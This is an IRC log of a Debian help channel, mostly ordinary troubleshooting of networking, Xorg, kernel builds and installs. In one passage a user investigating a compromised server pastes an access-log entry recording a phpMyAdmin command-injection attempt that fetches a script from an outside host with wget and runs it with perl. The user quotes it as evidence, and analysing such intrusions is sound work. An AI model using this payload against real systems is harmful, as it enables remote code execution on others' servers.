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| 00:04.57 | nvz | is there a way I can specify with network-manager that I want my home accesspoint to be using a static IP address? |
| 00:05.16 | nvz | easily done with wicd.. but not seeing a way with n-m |
| 00:06.21 | streuner_ | are you joking? |
| 00:06.35 | nvz | uh no |
| 00:06.41 | streuner_ | bah |
| 00:06.56 | nvz | obviously can't do it in interfaces cause that is interface settings |
| 00:07.02 | nvz | I only wanna do it on a single AP |
| 00:07.29 | nvz | dont wanna have to change it everytime I go somewhere else |
| 00:08.07 | streuner_ | that sounds like intefaces job, IMO |
| 00:08.30 | nvz | yeah well unless you know something I dont, that can't be done in interfaces |
| 00:08.41 | nvz | if I set it up static it will always be static on any ap |
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| 00:08.52 | epsilon | I still don't understand what you want to do... assign static IP to AP? |
| 00:09.12 | nvz | I want to have the ip 192.168.1.2 when I connect to linksys |
| 00:09.21 | nvz | an otherwise use dhcp |
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| 00:09.40 | epsilon | tell the dhcp-server to give that IP on your MAC |
| 00:09.51 | Tekk_` | how do I clear my server cache? |
| 00:09.56 | Tekk_` | all the Igns on update annoy me |
| 00:10.15 | epsilon | what server cache? |
| 00:10.40 | Tekk_` | epsilon: well when I update I get a bunch of old repos that I've disable with ign somewhere |
| 00:10.45 | Tekk_` | and they're not on my sources.list |
| 00:10.48 | Tekk_` | so they must be somewhere else |
| 00:10.49 | nvz | if it did that I'd not have moved the dhcp pool so I could use that address |
| 00:11.08 | nvz | I'll just go back to wicd if it annoys me that much.. heh |
| 00:11.15 | epsilon | apt-get clean, apt-get update doesn't fix it? |
| 00:11.33 | Tekk_` | I think that'd just get rid of the PACKAGE cache, wouldn't it? |
| 00:11.45 | Tekk_` | I'll try though |
| 00:12.15 | epsilon | what's ign? |
| 00:12.26 | Tekk_` | ignore |
| 00:12.30 | Tekk_` | I think |
| 00:12.31 | Tekk_` | nk |
| 00:12.31 | devil | Tekk_`: you might have sources.list and sources.list.d/foo.list |
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| 00:12.39 | Tekk_` | ah, that could be it |
| 00:12.46 | nvz | bah my f'n dyndns isn't working.. :-/ |
| 00:13.16 | Tekk_` | dseems to be it |
| 00:13.16 | Tekk_` | thanks |
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| 00:13.44 | devil | np |
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| 00:21.54 | leonardo_ | Hi people, a long time ago I installed wicd instead of gnome network manager. Now I want to remove wicd, but if I do this, I can't connec on wifi with network manager. I don't see the window telling to show to connect |
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| 00:39.49 | rahsputin | hello. after new install (squeeze) vlc/mplayer/etc... will not play fullscreen correctly ... http://pastebin.com/jA9HkL5J + http://pastebin.com/cbVrf83X |
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| 00:40.31 | rahsputin | paste^ "/etc/X11/xorg.conf + hwinfo --gfxcard |
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| 00:43.02 | rahsputin | i cannot find any solution |
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| 00:47.21 | Lenin_Cat | What package do I download to use java programs? |
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| 00:48.30 | nvz | Lenin_Cat:first you need to enable contrib and nonfree sources then install sun-java6-jre |
| 00:48.57 | Lenin_Cat | nvz, Java is nonfree? |
| 00:49.18 | Lenin_Cat | E: Package 'sun-java6-jre' has no installation candidate |
| 00:49.26 | nvz | Lenin_Cat: the sun lisc is not dfsg |
| 00:49.27 | babilen | Lenin_Cat: Just install openjdk |
| 00:49.34 | babilen | !openjdk |
| 00:49.34 | dpkg | OpenJDK is the open source release of <Java> from Sun Microsystems (now Oracle America). All required functionality (according to the J2SE spec) is present, but some optional stuff is missing and some stuff uses different implementations from Oracle's binary JDK. Install the openjdk-6-jre package for the runtime environment or openjdk-6-jdk for the development kit. http://openjdk.java.net/ #openjdk on irc.oftc.net. |
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| 00:50.23 | Lenin_Cat | babilen, package doesnt exist |
| 00:50.29 | babilen | Lenin_Cat: Depending on your needs you want either openjdk-6-jre or openjdk-6-jdk. The latter is the development kit. |
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| 00:50.51 | babilen | Lenin_Cat: Which package exactly? |
| 00:50.52 | Lenin_Cat | Oh I did the wrong character, sorry and thanks. |
| 00:50.57 | Lenin_Cat | I typed it wrong is all |
| 00:51.05 | babilen | np |
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| 00:52.51 | oscurochu | I have this vserver kernel option, what is that? |
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| 00:58.14 | trolll | hi |
| 00:58.15 | trolll | <PROTECTED> |
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| 01:09.37 | lduros | hi, new to debian, when I add this to xorg.conf: http://pastie.org/2240283 I get Fatal error: No screen found I have set up stuff for my wacom tablet before that |
| 01:09.53 | lduros | when I comment the section "ServerLayout" it works fine |
| 01:09.59 | lduros | any idea what the issue is? |
| 01:10.01 | lduros | thanks |
| 01:10.48 | somiaj | lduros: its probabaly the default screen option under screen -- you don't give us the "default screen" definition or is that your whole xorg.conf file? |
| 01:11.03 | somiaj | lduros: if you want xorg to autodetect your screen, remove that line |
| 01:11.18 | somiaj | lduros: or confgiure our "Default Screen" correctly for your device, check /var/log/Xorg.log |
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| 01:12.21 | lduros | somiaj: it still doesn't work when I remove that line it seems |
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| 01:12.46 | somiaj | lduros: well then follow though, check your xorg.log figure out why its going bad? Also you should post your whole xorg.file |
| 01:12.49 | somiaj | xorg.conf file |
| 01:12.53 | lduros | ok |
| 01:12.56 | lduros | let me post the whole |
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| 01:13.57 | lduros | somiaj: here it is: http://pastie.org/2240296 |
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| 01:14.07 | lduros | thought i'd paste it before I attempt anything, since i need to log out to test |
| 01:14.13 | lduros | or reboot |
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| 01:16.48 | somiaj | lduros: as I said you don't have a Default Screen section identified -- I'm unsure what you need to do to set it up so it autmatically selects, buty the line `Screen "Default Screen"` -- needs to reference you a screen you have configured in your xorg.conf file, or just remove it. |
| 01:17.17 | abaddon | if i want to compile some customizations over the stock wheezy kernel, do i need to apply the patches from linux-patch-debian-2.6.39 ? or does make-kpkg handle that automatically? |
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| 01:17.28 | under | Hi |
| 01:17.34 | under | Can anyone help me? http://ideone.com/fRlS6 |
| 01:17.41 | lduros | somiaj: ok, i'll try to remove it |
| 01:17.54 | lduros | somiaj: thanks |
| 01:17.56 | somiaj | abaddon: make-kpkg doesn't auto aply the debian patches, else you couldn't use it to compile custom patched kernels |
| 01:18.07 | somiaj | abaddon: so you'll have to apply the patches, or download the kernel source package. |
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| 01:18.39 | abaddon | somiaj should i apply those patches if i want the stock kernel + grsecurity ? |
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| 01:18.48 | abaddon | im guessing its yes |
| 01:19.18 | abaddon | because i see some are security patches |
| 01:19.27 | somiaj | abaddon: not sure on the details, yes if you want additional stuff on the kernel source you have (from kernel.org) you have to apply them, up to you if you want to use the whole debian kernel patches or not |
| 01:19.55 | somiaj | there use to be a kernel-source package that would isntall a patched version of the source into /usr/src/linux-ver/ but I'm not finding it |
| 01:20.13 | abaddon | im using the kernel sources from wheezy, the linux-source- package |
| 01:20.23 | abaddon | yea that one |
| 01:20.38 | abaddon | linux-source-2.6 / linux-source-2.6.39 |
| 01:20.40 | somiaj | oh yes if you are installing the linxu-sorce-<ver> it will include all the pathces already installed |
| 01:21.06 | somiaj | its only if you get the kernel from kernel.org you have to worry about applying the debian patches. |
| 01:21.16 | somiaj | (or get the source elsewhere than debian) |
| 01:21.38 | under | anyone please? |
| 01:22.34 | abaddon | somiaj youre right i just checked on a random patch and the sources from linux-source- already had those patch changes |
| 01:22.36 | abaddon | thanks! |
| 01:23.52 | abaddon | under check if you can really access that nfs mount, firewall maybe, network connectivity to the nfs host.. not sure on how exactly, i never really used nfs |
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| 01:24.14 | somiaj | abaddon: you could read the package description. "linux-source-2.6.39 - Linux kernel source for version 2.6.39 with Debian patches" |
| 01:24.30 | under | abaddon, how can I check? |
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| 01:25.41 | abaddon | touche, was starring at me and i missed reading it |
| 01:26.56 | abaddon | under cat /etc/services |grep -i nfs -> 2049/tcp udp, check with nc -vvn 192.168.1.2 2049 |
| 01:27.04 | abaddon | if you get a connection, or some error |
| 01:27.26 | k-man | downloading the firmware-netinst image over BT is very slow |
| 01:28.42 | k-man | !firmware |
| 01:28.42 | dpkg | Firmware is software to operate electronic devices, usually contained in EPROM or flash memory. Some drivers require firmware to be provided from userspace, prior to device operation, notably for <WiFi> devices. Most firmware files are not part of a Debian release as they do not conform to the <DFSG>; some are available via <contrib> and <non-free> packages. See also <search>, <installer firmware>. http://wiki.debian.org/Firmware |
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| 01:29.02 | Carlitos__ | pleas can anyone help me ? |
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| 01:30.15 | jamesd | Carlitos__, everyone here will refuse to help you unless you admit to your issues and provide details |
| 01:30.27 | somiaj | Carlitos__: we cannot read your mind, so how can we know if we can help or not? |
| 01:31.24 | boudiccas | polishes crystal ball to help Carlitos__ |
| 01:31.56 | gnarface | i suspect that Carlitos__'s problem is more existential |
| 01:32.42 | Carlitos__ | :D |
| 01:32.59 | Carlitos__ | sorry my englis is some bad |
| 01:33.00 | boudiccas | or maybe Carlitos__ is a troll |
| 01:33.06 | Carlitos__ | I try to cpy and paste |
| 01:33.11 | Carlitos__ | copy* |
| 01:33.14 | under | abaddon, http://ideone.com/lJagu |
| 01:33.47 | Carlitos__ | sub process usr bin dpkg returned an error code 1 |
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| 01:34.00 | Carlitos__ | I can not upgrade or install |
| 01:34.32 | abaddon | under why does nc call BusyBox, is this a regular linux install or some embed? |
| 01:34.39 | somiaj | Carlitos__: goto the irc server irc.oftc.net (and there are channels like #debian-<language code> to help you in your native language |
| 01:34.50 | Carlitos__ | I was using dpkg --configure -a , and apt-get -f install |
| 01:34.55 | somiaj | Carlitos__: but you need to paste more at paste.debian.net (paste everything you got as output not just the last line) |
| 01:34.57 | under | abaddon, it's a dreambox, a sat decoder |
| 01:34.58 | Carlitos__ | but no luck |
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| 01:35.12 | under | ciao mastro |
| 01:35.28 | Carlitos__ | ok |
| 01:35.35 | abaddon | under might try nc without -vvn, nc 192.168.1.2 2049, just to check if you can actually connect to that nfs share |
| 01:35.36 | Carlitos__ | hasta la vista carajo |
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| 01:36.43 | under | abaddon, it prints nothing.. |
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| 01:38.48 | abaddon | under i guess if you get no timeout error eventually and it just sits, then the connectivity is ok, i dont see a -v(erbose) switch on your nc.. could it be that you dont actually have the nfs drivers? |
| 01:39.06 | abaddon | other than this, im not sure what to check |
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| 01:39.44 | abaddon | or on that second machine, the one with the nfs server, if theres any errors in the logs, it should at least note the incoming connections |
| 01:39.51 | under | I think it has becouse I can mount also with the decoder 'gui' |
| 01:39.54 | funyun | hi. i just upgraded to squeeze and a user on my server can not use auto completion. tab just tabs. he says things are really funky looking. can anyone help me fix this? |
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| 01:40.30 | under | abaddon, the 'server' is that where i typing now from |
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| 01:43.00 | abaddon | under try mounting with the gui and have a script to log all processes running, not sure what that decoder supports but some short bash script to log ps aux in a tight loop should do.. |
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| 01:43.28 | abaddon | and you should see what gets executed that mounts the nfs share, then do the same |
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| 01:43.55 | under | I tried with the gui but it cant, in fact I wanted to tried with the shell command line |
| 01:45.29 | under | abaddon, I can try again but the gui asks me id e password. what do I type? |
| 01:45.51 | funyun | when he tries to use arrow keys he gets this "^[[A^[[C^[[C^[[B^[[D^[[A^[[C^[[B^[[D^[[A". can anyone help? |
| 01:46.07 | under | it's normale funyun :) |
| 01:46.11 | under | normal |
| 01:46.40 | funyun | under: what do you mean? it was never like this before. and it's not like this for my user |
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| 01:46.57 | funyun | up shows me the last command i entered |
| 01:47.13 | funyun | up shows him "^[[A" |
| 01:47.33 | funyun | tab auto completes for my user. and tab just makes a tab for him |
| 01:47.33 | under | are you in the shell on in a program execution? |
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| 01:48.09 | funyun | under: i'm not sure. i'm a noob when it comes to linux. this is on a remote dedicated server |
| 01:48.31 | funyun | all was fine before upgrading to squeeze |
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| 01:49.20 | abaddon | funyun try typing bash and then see if you still get that.. if not, then change the shell for the user with chsh |
| 01:49.39 | abaddon | under not sure what password you mean |
| 01:50.09 | funyun | abaddon: when i type bash it works normal. :) is there a way i can set it to work normal without having to type bash? |
| 01:50.20 | under | abaddon, i dunno too.. it just asks for a password |
| 01:50.41 | abaddon | yes, man chsh and change the shell for that user to /bin/bash, or whatever whereis bash shows |
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| 01:51.25 | abaddon | under if you dont know it and youre in front of it.. :-) no idea |
| 01:53.13 | under | ok |
| 01:53.59 | under | abaddon, It's updating mount, with ps x I get this: 2005 root 2688 S /bin/sh -c mount -t nfs -o tcp,rw,nolock,tcp,rsize=81 |
| 01:53.59 | under | <PROTECTED> |
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| 01:54.43 | abaddon | try that, and not you typed -t nfs4 but the command you just pasted has -t nfs |
| 01:54.49 | abaddon | and *note |
| 01:55.19 | funyun | abaddon: worked. thank you :) |
| 01:58.49 | under | ok abaddon worked |
| 01:59.05 | under | thank you very much mate :) |
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| 01:59.49 | abaddon | np.. i didnt do much :-) |
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| 02:11.20 | jbeatty | <PROTECTED> |
| 02:11.27 | jbeatty | anyone know what could be wrong? |
| 02:12.16 | mns | what sort of cards ? what does wicd say in /var/log/messages (or wherever it writes to) |
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| 02:13.52 | jbeatty | mns: it's a fully supported card, I know that: RTL-8185 |
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| 02:14.03 | jbeatty | I used to use netcfg in Parabola, never used wicd on this machine |
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| 02:14.15 | jbeatty | /var/log/wicd/wicd.log says nothing since I last connected to eth0 |
| 02:14.22 | jbeatty | nothing about wlan0 at all |
| 02:14.46 | mns | look in /var/log/messages as well. |
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| 02:15.37 | jbeatty | I already loked in /var/log/messages, nothing. grep wicd /var/log/messages returns nothing |
| 02:15.46 | mns | have you enabled debugging for wicd ? how are you starting wicd ? is it a hidden SSID you're working with ? |
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| 02:16.23 | jbeatty | wicd was already started when I booted the machine into GDM => Xfce, but I've restarted it since running an ifconfig wlan0 up and an iwlist scan |
| 02:16.51 | jbeatty | debugging? like I said, it's a brand new install :) less than ten minutes. and the SSID is not hidden. Shows up fine in the CLI scan. |
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| 02:17.45 | Takieda | where are the md5 checksums listed for the latest stable? |
| 02:17.46 | phreck | ANyone had an issue after installing chromium browser, they cant install any apps from the chrome webstore or any themes? |
| 02:17.58 | jbeatty | mns: whoa, my bad. the settings were wrong in pref, I was trying to find text config files |
| 02:18.34 | mns | :) |
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| 02:21.21 | Takieda | I'm having difficulty installing from the netinst disc. As soon as I select Graphical Installer, it shows three lines, the third line is a kernel panic line, then the system comes to a halt. |
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| 02:21.36 | Takieda | trying to find the MD5 checksum to see if the download I have didn't get corrupted or something. |
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| 02:22.47 | innociv | A malicious file got in my /var/tmp folder somehow. How do I figure out how? |
| 02:23.33 | innociv | and in my /tmp/.log file ... |
| 02:23.53 | Takieda | bloody hell :( just found the checksum and it doesn't match :( |
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| 02:24.30 | Takieda | what's the best way to get a good download, this is the fourth disc I've downloaded, attempting to get something that works. (started with ubuntu, which just hates my computer apparently - so working to debian now) |
| 02:24.42 | Takieda | in windows for the time being |
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| 02:26.15 | innociv | .... I could swear I set up log rotate for lighttpd's logs |
| 02:26.16 | innociv | Sighhhh... |
| 02:27.05 | babilen | !tell Takieda -about check iso image |
| 02:27.19 | babilen | Takieda: You can also install from a USB stick, or use the win32 installer |
| 02:27.26 | babilen | !tell Takieda -about usb install |
| 02:27.36 | babilen | Takieda: But does the non-graphical installer work? |
| 02:27.56 | Takieda | haven't tried it. |
| 02:27.57 | babilen | !tell Takieda -about win32 |
| 02:28.12 | babilen | Takieda: Please try it -- Which image did you download? |
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| 02:31.09 | Takieda | debian-6.0.2.1-i386-netinst.iso |
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| 02:32.16 | innociv | how do I tail to a file? "tail -l 10000 /from/path/log > /to/path/log" ? |
| 02:32.25 | babilen | Please try the text installer. Is this particularly new or old hardware? |
| 02:32.46 | babilen | innociv: for example |
| 02:32.52 | Takieda | about 4 years old now... right before Vista's release |
| 02:33.11 | babilen | Should be fine. |
| 02:33.24 | Takieda | graphical installer should work fine.. .my biggest problem is installing dual boot with a text installer, making sure I get the partitions right. |
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| 02:33.31 | Takieda | I know... |
| 02:34.06 | Takieda | I've been running Ubuntu for a while... had to reformat the system and reinstall, tried to install latest ubuntu, only to repeated failures (mostly due to md5 checksum errors, as far as I can tell) |
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| 02:36.53 | Takieda | okay, redownloaded the .iso, checked the md5 checksum and it works, now I need to burn it to disc or to flash drive and try the install. |
| 02:37.17 | Takieda | what do I do to install on flash drive? just dump the contents of the .iso onto a flash drive? |
| 02:38.14 | mns | Takieda: yes you use dd if=/path/to/image.iso of=/dev/sda (no partition number, just the device) |
| 02:38.36 | Takieda | running Windows for the moment... that won't quite work for me sadly :( |
| 02:39.06 | mns | thats why you have cygwin :) |
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| 02:39.40 | mns | go to the debian-live.net website ... they have documentation on how to get it onto flash drive ... even on windows. |
| 02:40.20 | innociv | babilen, text installer? |
| 02:40.42 | innociv | You said my name.. |
| 02:40.49 | Takieda | debian-live.net doesn't seem to exist |
| 02:41.15 | mns | one sec |
| 02:41.19 | Takieda | live.debian.net :) |
| 02:41.23 | Takieda | google ftw! |
| 02:41.44 | babilen | Takieda: did you see all the messages from dpkg? |
| 02:41.53 | Takieda | babilen: yeah |
| 02:42.04 | mns | Takieda: yes I think that's the one. |
| 02:42.27 | Takieda | you asked if I saw... apparently I did not read ;-p |
| 02:42.30 | Takieda | one moment |
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| 02:44.59 | Takieda | okay, let's see if this beasty will work |
| 02:47.46 | innociv | Sigh... |
| 02:47.57 | innociv | Why can't I find how this thing got on my server in the lighttpd access? |
| 02:48.31 | Takieda | well that sucked... it's asking for an .img file and all the debian downloads are .isos.. .heh. |
| 02:48.37 | innociv | Ah actually I didn't look back far enough |
| 02:49.24 | stew | Takieda: what is "it" |
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| 02:49.38 | stew | Takieda: you should be able to use a current iso as a disk image |
| 02:49.55 | Takieda | sorry stew, the image writer found https://launchpad.net/win32-image-writer/+download there.. |
| 02:50.22 | Takieda | it's asking for an .img file... I"m trying to create a bootable USB drive using windows and the netinst package of debian 6.0.2.1 stable. |
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| 02:52.05 | mns | Takieda: you should get a download from the live.debian site. ask in #debian-live. I just got .img and .iso from the site, I just can't recall what the site is lol. |
| 02:52.16 | mns | off to bed now folks. good night. |
| 02:52.20 | Takieda | thanks msn |
| 02:52.24 | stew | Takieda: you can't give it the iso anyway? |
| 02:52.24 | Takieda | mns, sorry... |
| 02:52.26 | Takieda | g'nite |
| 02:52.32 | Takieda | nope, it asks for the .img file |
| 02:52.38 | stew | Takieda: then rename it |
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| 02:54.03 | Chat4982 | <PROTECTED> |
| 02:54.41 | Takieda | Chat4982, what? |
| 02:54.42 | s1 | وعليكم السلام |
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| 02:54.50 | s1 | Chat4982: English please. |
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| 02:55.18 | s1 | Takieda: hey there :) .. that was in Arabic. |
| 02:55.59 | Takieda | you're is arabic... his is... using some sort of wingdings font reject.. |
| 02:56.23 | boudiccas | cant have been all that important then as he's now left |
| 02:56.38 | Takieda | oh well |
| 02:56.40 | s1 | Right. |
| 02:57.18 | Takieda | I know Samba is the devil and all, but what would be a better, perhaps more universally supported file sharing system? |
| 02:57.48 | boudiccas | Takieda; ext3 |
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| 02:58.07 | babilen | Takieda: Just rename the netinstall.iso to netinstall.img and you can write it with the image writer. Windows is a bit peculiar when it comes to fileextensions |
| 02:58.09 | boudiccas | although i dont think that answers your question |
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| 02:58.43 | Takieda | boudiccas: no I don't think it does... I might be mistaken, but I thought that was a partition format type, like fat, ntfs are to windows |
| 02:59.00 | boudiccas | yes, Takieda you're right |
| 02:59.22 | Takieda | so how does that address the "replace Samba" issue? |
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| 03:00.10 | oscurochu | i am missing firmware files tigon/tg3_tso5.bin and the installer wants me to insert a floppy or usb stick |
| 03:00.14 | oscurochu | what do i do |
| 03:01.03 | inthl | I want to execute a command, say #cp --verbose souredir targetdir; - so that everything being copied is shown on stdout |
| 03:01.11 | inthl | how can I write errors to a specific file? |
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| 03:01.30 | inthl | so I want to be able to see copied files but all errors should be logged |
| 03:01.51 | inthl | I was thinking about rerouting stderr to a file, but I don't really know how to do this. any ideas? |
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| 03:02.53 | jbeatty | did Iceweasel never update past 3.5? I upgraded to wheezy and did apt-get upgrade but still 3.5.16 |
| 03:03.02 | innociv | Is there a way to tail lines 100000-50000? I can't figure it out |
| 03:03.19 | stew | innociv: pass the output of head into tail or vice-versa |
| 03:03.24 | stew | judd: versions iceweasel |
| 03:03.25 | judd | Package iceweasel on i386 -- lenny: 3.0.6-3; lenny-security: 3.0.6-3; squeeze: 3.5.16-6; lenny-backports: 3.5.16-8~bpo50+1; squeeze-proposed-updates: 3.5.16-8; squeeze-security: 3.5.16-8; wheezy: 3.5.19-3; sid: 5.0-3; experimental: 6.0~b2-1 |
| 03:03.40 | inthl | just found out how to do this... simply 2>error.log :> |
| 03:03.57 | jbeatty | isn't wheezy supposed to only be ten days or so behind sid? |
| 03:04.34 | stew | jbeatty: no, there are lots of criteria that must be met for a package to migrate from sid to testing. |
| 03:04.48 | stew | jbeatty: and that version has only been in sid for 4 days |
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| 03:05.21 | stew | jbeatty: here is a list of the current things keeping it out of testing: |
| 03:05.23 | stew | http://qa.debian.org/excuses.php?package=iceweasel |
| 03:05.29 | innociv | head -l 50000 file.log > file.log makes it empty. |
| 03:06.09 | innociv | hm |
| 03:06.12 | innociv | well to another file works |
| 03:06.16 | stew | innociv: yeah, you can't do that with head, you can do it with sed -i |
| 03:06.23 | craigevil | you can install 5.0 using the mozilla.debian.net repo |
| 03:06.29 | stew | (you can't do that with shell redirection in general) |
| 03:06.48 | jbeatty | craigevil: firefox 5.0 or iceweasel? |
| 03:07.00 | craigevil | iceweasel |
| 03:07.20 | oscurochu | why iceweasel? whats so much better about free, vs non-free? it works the same way.... |
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| 03:07.30 | craigevil | e!why iceweasel |
| 03:07.35 | craigevil | !why iceweasel |
| 03:07.36 | dpkg | Due to Mozilla logos licensing, Mozilla software isn't DFSG-free, so Debian distributes Mozilla software with different logos. One day Mozilla Corporation decided to revoke the agreement to let Debian use Mozilla trademarks, so Debian changed to non-trademarked product names. See http://en.wikipedia.org/wiki/Mozilla_Corporation_software_rebranded_in_Debian for more information. http://glandium.org/blog/?p=933. Ask me about <dfsg>. |
| 03:08.04 | stew | oscurochu: if you don't care about free software, then how about for the security updates? |
| 03:08.32 | craigevil | jbeatty, heck you can install iceweasel 7 if you want, iceweasel: Installed: 7.0~a2+20110715042002-1 |
| 03:08.33 | jbeatty | oscurochu: because non-free software is both philosophically and pragmatically inferior |
| 03:08.37 | stew | oscurochu: or being able to install/upgrade with apt-get |
| 03:08.40 | jbeatty | you can't do security updates on nonfree software |
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| 03:12.51 | innociv | how can I return lines from my access.log that contains like.. wget or /tmp ? |
| 03:13.56 | jbeatty | innociv: grep |
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| 03:15.05 | abaddon | how safe is -j with today's kernels? (parallel compile, make flag).. just wondering |
| 03:15.19 | abaddon | *wondering about experiences others have with it |
| 03:17.42 | innociv | seems I'm not going to be able to figure out how this ddos'ing thing got on my system. Can't find anything. |
| 03:22.12 | innociv | is there a way I can figure out what programs of mine can even write to /var/tmp? |
| 03:22.39 | stew | innociv: /var/tmp should be writable by anyone |
| 03:22.46 | innociv | Ah |
| 03:23.13 | stew | innociv: if you want to know who created a file there, see who the owner is |
| 03:23.27 | stew | innociv: unless you suspect they got root, in which case, who knows |
| 03:23.35 | innociv | My access log is like 25gb. I had my rotate set up wrong. |
| 03:23.42 | innociv | No it's not root |
| 03:23.51 | stew | you can't know that |
| 03:23.56 | innociv | it's my normal user. |
| 03:24.05 | innociv | Possibly not. |
| 03:24.27 | innociv | http://pdw.weinstein.org/2010/06/damn-script-kiddies-get-off-my-lawn.html it's pretty much the same thing happening here |
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| 03:26.42 | Chat3179 | <3 >:/آَلَـْـْسَـْـْلَآَمَـْْعَـْـْلَـْـْيَـْـْگَـْـْمَـْْ>:/ |
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| 03:26.55 | innociv | how does noexec work? Because there are files in /tmp/.log that look like they get run |
| 03:27.33 | stew | Chat3179: english only in here please |
| 03:28.20 | stew | innociv: is /tmp mounted noexec? are the filees interpreted? or binaries? |
| 03:28.52 | innociv | It /should/ be. It should be on ram and noexec. I thought I had that set up |
| 03:29.12 | stew | innociv: and you mean /tmp not /var/tmp? |
| 03:29.19 | stew | (/var/tmp shouldn't be on ram) |
| 03:29.33 | innociv | Yeah. It looks like the file in /var/tmp wrote to /tmp |
| 03:29.46 | innociv | in /var/tmp is an image file that's not really an image file |
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| 03:30.37 | stew | well noexec doesn't stop someone from writing to /tmp |
| 03:30.49 | innociv | 83.30.81.62 www.rphaven.com - [21/Jun/2011:02:23:51 -0400] "GET /phpmyadmin//config/config.inc.php?c=wget+http%3A//katanagraphics.ka.funpic.de/test.txt+-O+/tmp/s%3Bperl+/tmp/s;id HTTP/1.1" 404 345 "-" "libwww-perl/5.834" |
| 03:31.20 | innociv | Looks like it was an exploit with phpmyadmin then. |
| 03:31.26 | stew | no, that's a 404 |
| 03:31.31 | innociv | oh |
| 03:31.38 | stew | (and you should probably obfuscate that kind of thing) |
| 03:31.50 | innociv | Yeah, oops. |
| 03:32.22 | innociv | Well, I greped the access.log for "wget" and that's all that came up. |
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| 03:48.34 | spersaud | I am running amd 64, I dont see a .bash_profile file |
| 03:48.47 | spersaud | or .profile file |
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| 03:54.54 | abaddon | spersaud cp -v /etc/skel/.profile ~/ |
| 03:55.21 | abaddon | no special reason you would have to have one by default |
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| 04:13.49 | boudiccas | is it a full moon tonight, as we seem to have had more than our fair share of idiots? |
| 04:14.37 | NiLon | are you saying that full moon is sign of idiot :( |
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| 04:15.21 | cyberbob | hi all |
| 04:15.32 | boudiccas | NiLon; no, just that the full moon turns those susceptible into idiots |
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| 04:19.20 | cyberbob | I have installed Debian 6 64bit, it is working cool. But it does'nt detect my Nokia n95 neither in Data Transfer mode nor in PC suit mode. . |
| 04:19.46 | cyberbob | even lsusb does'nt show any device connected while on another ubuntu 10.04 machine it is working fine. . |
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| 04:20.04 | somiaj | cyberbob: using a stock kernel? Could yoru usb port be bad? |
| 04:20.13 | k-man | can you install debian using a serial console? |
| 04:20.28 | nevyn | k-man: I don't think so on X86 |
| 04:20.41 | blast_hardcheese | Question; Is there a way to force the virtual terminal resolution to be higher than what's automatically detected? |
| 04:20.46 | boudiccas | cyberbob; PC suit mode? wow, you've trained your computer to wear a suit! I'm impressed. |
| 04:21.19 | k-man | ok, thanks nevyn |
| 04:21.24 | somiaj | blast_hardcheese: what do you mean? the console resolution before x is booted. Depending on the frame buffer driver using you can set the mode in your grub conf files |
| 04:21.33 | cyberbob | I know PC suit is some term truely for wintendo machines. .no pc suit for nix* .. |
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| 04:22.04 | th0r | blast_hardcheese: I believe you can set the vt resolution with the vga= boot option. That resolution, if I recall correctly, will carry over to the terminal windows opened from the de |
| 04:22.25 | cyberbob | somiaj: this is a dual boot machine and all ports are working fine. .even my old pin drive is detected automatically .:P |
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| 04:22.35 | yagoo | says vga= should be avoided knowing kvm is becoming more and more integrated |
| 04:22.45 | yagoo | !kvm |
| 04:22.45 | dpkg | The Kernel-based Virtual Machine (KVM) is a full <virtualization> solution for Linux hosts on x86 hardware with x86 guests. Packaged for Debian as qemu-kvm since Squeeze, kvm in Lenny. See http://wiki.debian.org/KVM for installation instructions, also ask me about <xve>. http://www.linux-kvm.org/page/FAQ http://www.linux-kvm.org/ #kvm on irc.freenode.net. |
| 04:22.46 | nevyn | cyberbob: did you install nokia software? |
| 04:22.52 | yagoo | dpkg is wrong |
| 04:22.53 | dpkg | i haven't a clue, yagoo |
| 04:23.28 | cyberbob | nokia software for debian ? |
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| 04:25.02 | wols | <PROTECTED> |
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| 04:25.47 | blast_hardcheese | somiaj: Yeah, I'm not using X on this machine, I don't care particularly |
| 04:26.07 | somiaj | blast_hardcheese: look into your frame buffer and send the correct kernel boot option. (: |
| 04:26.09 | blast_hardcheese | *about X that is |
| 04:26.39 | cyberbob | No i did'nt installed that. . |
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| 04:26.53 | nevyn | cyberbob: what exactly was going to detect it? |
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| 04:27.28 | cyberbob | nevyn: actually I used it some times to transfer files b/t my pc & Cell Phone |
| 04:27.53 | cyberbob | & some times to connected to web using gprs. . on my old machine I used to get it detected and dial via widial .. |
| 04:28.11 | blast_hardcheese | somiaj: If you use vga= and the mode isn't recognized it will complan and fall back to the default |
| 04:28.46 | somiaj | blast_hardcheese: in my experience yes, but I gave up frame buffers years ago. I don't like how they scroll. |
| 04:29.13 | Vespakoen | Hey boys! im am having some trouble setting upload rights on my debian squeeze server. i have got a symlink from var/www to /home/koen/live. All files in /home/koen are owned by koen. problem is, i cant upload files (apache) |
| 04:29.32 | Vespakoen | i know i have to chown, chmod or regroup users |
| 04:29.42 | yagoo | Vespakoen, check your logs. |
| 04:29.49 | Vespakoen | but i have no clue whats the best approach, also, because i use Subversion to checkout new versions |
| 04:30.04 | Vespakoen | log says it has insufficient rights |
| 04:30.10 | boudiccas | Vespakoen; what makes you think we're all male in here? |
| 04:30.22 | yagoo | yah.. that's totally sexist on his part.. |
| 04:30.30 | blast_hardcheese | somiaj: Understandable, unfortunately the person who I'm setting this up for is using a hardware screen reader, no X |
| 04:30.32 | Vespakoen | haha that was just a wild guess |
| 04:30.52 | boudiccas | Vespakoen; then you guessed wrong |
| 04:31.02 | Vespakoen | sorry girls (if there are any) =D |
| 04:31.19 | boudiccas | Vespakoen; yes there are, and you're talking to one |
| 04:31.23 | yagoo | lol |
| 04:31.31 | Vespakoen | Oh im very sorry in that case ;) |
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| 04:32.01 | Vespakoen | You seem to be a proud linux user too =D what exactly attracted you from linux ? |
| 04:32.10 | Vespakoen | to linux* |
| 04:32.17 | boudiccas | Vespakoen; and i thought that the dutch were such a courteous people |
| 04:33.12 | boudiccas | Vespakoen; who are you talking too about 'a proud linux user'? |
| 04:33.12 | chime_ | In reality, "Blast" is here, and I am in LILO, want many more than 48lines |
| 04:33.16 | yagoo | Vespakoen, unfortunately there's a million ways for apache to write with the help of some other tool on top of it. I'd suggest #apache help.. maybe webdav can make a huge shortcut for your goals.. webdav needs to be loaded/uncommented |
| 04:33.24 | cyberbob | wols: would gnoki also help my in getting my Phone detected. |
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| 04:33.56 | Vespakoen | ThQ boys and girls, will do that now! |
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| 04:35.12 | Vespakoen | Invite only :'-( haha |
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| 04:36.32 | boudiccas | Vespakoen; #apache is invite only? i've just got straight in with no problems |
| 04:36.43 | blast_hardcheese | Probably identified only |
| 04:37.14 | Vespakoen | <PROTECTED> |
